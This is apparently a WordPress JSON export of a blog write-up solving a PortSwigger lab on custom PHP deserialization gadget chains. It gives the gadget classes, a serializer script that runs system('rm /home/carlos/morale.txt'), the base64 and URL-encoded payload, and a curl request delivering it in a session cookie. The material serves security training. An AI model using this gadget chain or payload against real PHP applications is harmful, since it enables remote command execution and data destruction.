{"id":623,"date":"2025-06-12T14:12:54","date_gmt":"2025-06-12T06:12:54","guid":{"rendered":"https:\/\/blog.73007300.xyz\/?p=623"},"modified":"2025-06-12T14:15:24","modified_gmt":"2025-06-12T06:15:24","slug":"php-deserialization-lab_-developing-a-custom-gadge","status":"publish","type":"post","link":"https:\/\/blog.73007300.xyz\/?p=623","title":{"rendered":"PHP Deserialization Lab: Developing a custom gadget chain for PHP deserialization"},"content":{"rendered":"\n

This lab is from here:
https:\/\/portswigger.net\/web-security\/deserialization\/exploiting\/lab-deserialization-developing-a-custom-gadget-chain-for-php-deserialization<\/a><\/p>\n\n\n\n

get leaked code:
\nhttps:\/\/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.web-security-academy.net\/cgi-bin\/libs\/CustomTemplate.php<\/a>~<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

call_user_func<\/code> exploit:<\/p>\n\n\n\n

<?php\n\nclass DefaultMap {\n    private $callback;\n\n    public function __construct($callback) {\n        $this->callback = $callback;\n    }\n\n    public function __get($name) {\n        return call_user_func($this->callback, $name);\n    }\n}\n\n\/\/ Create the object with a dangerous callback\n$map = new DefaultMap('system');\n\n\/\/ (Optional) Trigger command immediately\n$map->{'rm \/home\/carlos\/morale.txt'};\n\n?>\n<\/code><\/pre>\n\n\n\n
But we have to find a chain to run $map->{'rm \/home\/carlos\/morale.txt'};<\/code><\/p>\n\n\n\n
We can not direct invoke method, we can only modify variables.<\/p>\n\n\n\n
Here is chains:<\/p>\n\n\n\n
When the payload string is later passed to unserialize()<\/code>, it triggers:<\/p>\n\n\n\n
CustomTemplate->__wakeup() \u2192 build_product() \u2192 Product->__construct() \u2192 triggers $desc->$default_desc_type \u2192 __get() \u2192 exec(\"rm \/home\/carlos\/morale.txt\")<\/code><\/pre>\n\n\n\n
modify the property of $desc, from private to public:<\/p>\n\n\n\n
<?php\n\nclass CustomTemplate {\n    private $default_desc_type;\n    public $desc; \/\/ \u2705 Made public\n    public $product;\n\n    public function __construct($desc_type='HTML_DESC') {\n        $this->desc = new Description();\n        $this->default_desc_type = $desc_type;\n        \/\/ Carlos thought this is cool, having a function called in two places... What a genius\n        $this->build_product();\n    }\n\n    public function __sleep() {\n        return [\"default_desc_type\", \"desc\"];\n    }\n\n    public function __wakeup() {\n        $this->build_product();\n    }\n\n    private function build_product() {\n        $this->product = new Product($this->default_desc_type, $this->desc);\n    }\n}\n\nclass Product {\n    public $desc;\n\n    public function __construct($default_desc_type, $desc) {\n        $this->desc = $desc->$default_desc_type;\n    }\n}\n\nclass Description {\n    public $HTML_DESC;\n    public $TEXT_DESC;\n\n    public function __construct() {\n        \/\/ @Carlos, what were you thinking with these descriptions? Please refactor!\n        $this->HTML_DESC = '<p>This product is <blink>SUPER<\/blink> cool in html<\/p>';\n        $this->TEXT_DESC = 'This product is cool in text';\n    }\n}\n\nclass DefaultMap {\n    private $callback;\n\n    public function __construct($callback) {\n        $this->callback = $callback;\n    }\n\n    public function __get($name) {\n        return call_user_func($this->callback, $name);\n    }\n}\n\n\/\/ \u2705 Create object without building the product\n$customTemplate = new CustomTemplate(\"rm \/home\/carlos\/morale.txt\");\n\n\/\/ \u2705 Inject malicious desc object\n$customTemplate->desc = new DefaultMap('system');\n\n\/\/ \u2705 Serialize it\n$ser = serialize($customTemplate);\necho $ser;\n\n?>\n<\/code><\/pre>\n\n\n\n
php .\/php\/1.php | base64 -w0\nTzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MzM6IgBDdXN0b21UZW1wbGF0ZQBkZWZhdWx0X2Rlc2NfdHlwZSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO3M6NDoiZGVzYyI7TzoxMDoiRGVmYXVsdE1hcCI6MTp7czoyMDoiAERlZmF1bHRNYXAAY2FsbGJhY2siO3M6Njoic3lzdGVtIjt9fQ==<\/code><\/pre>\n\n\n\n
then url encode:<\/p>\n\n\n\n
TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MzM6IgBDdXN0b21UZW1wbGF0ZQBkZWZhdWx0X2Rlc2NfdHlwZSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO3M6NDoiZGVzYyI7TzoxMDoiRGVmYXVsdE1hcCI6MTp7czoyMDoiAERlZmF1bHRNYXAAY2FsbGJhY2siO3M6Njoic3lzdGVtIjt9fQ%3D%3D<\/code><\/pre>\n\n\n\n
send:<\/p>\n\n\n\n
curl --path-as-is -i -s -k -X \nGET' \n    -H \nHost: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.web-security-academy.net' \n    -b \nsession=TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MzM6IgBDdXN0b21UZW1wbGF0ZQBkZWZhdWx0X2Rlc2NfdHlwZSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO3M6NDoiZGVzYyI7TzoxMDoiRGVmYXVsdE1hcCI6MTp7czoyMDoiAERlZmF1bHRNYXAAY2FsbGJhY2siO3M6Njoic3lzdGVtIjt9fQ%3D%3D' \n    \nhttps://xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.web-security-academy.net\/cgi-bin\/libs\/CustomTemplate.php'<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
This lab is from here: https:\/\/portswigger.net\/web-security\/deserialization\/exploiting\/lab-deserialization-developing-a-custom-gadget-chain-for-php-deserialization get leaked code: https:\/\/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.web-security-academy.net\/cgi-bin\/libs\/CustomTemplate.php~ call_user_func exploit: But we have to find a chain to run $map->{‘rm \/home\/carlos\/morale.txt’}; We can not direct invoke method, we can only modify variables. Here is chains: When the payload string is later passed to unserialize(), it triggers: modify the property of $desc, from private […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"_links":{"self":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts\/623"}],"collection":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=623"}],"version-history":[{"count":3,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts\/623\/revisions"}],"predecessor-version":[{"id":627,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts\/623\/revisions\/627"}],"wp:attachment":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=623"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=623"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=623"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}